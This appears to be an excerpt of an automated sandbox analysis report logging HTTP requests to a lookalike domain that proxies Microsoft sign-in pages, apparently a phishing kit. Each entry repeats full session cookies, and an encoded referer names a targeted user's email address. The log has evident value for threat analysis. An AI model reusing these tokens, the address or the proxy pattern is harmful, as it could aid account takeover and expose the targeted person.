esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /nv5.com/winauth/ssoprobe?client-request-id=b0951b3f-ba13-4731-cd07-d95d7c2f52fd&_=1732196716841 HTTP/1.1Host: autologon.microsoftazuread-sso.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pidpdisambiguation_8442c9722efe126153de.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; 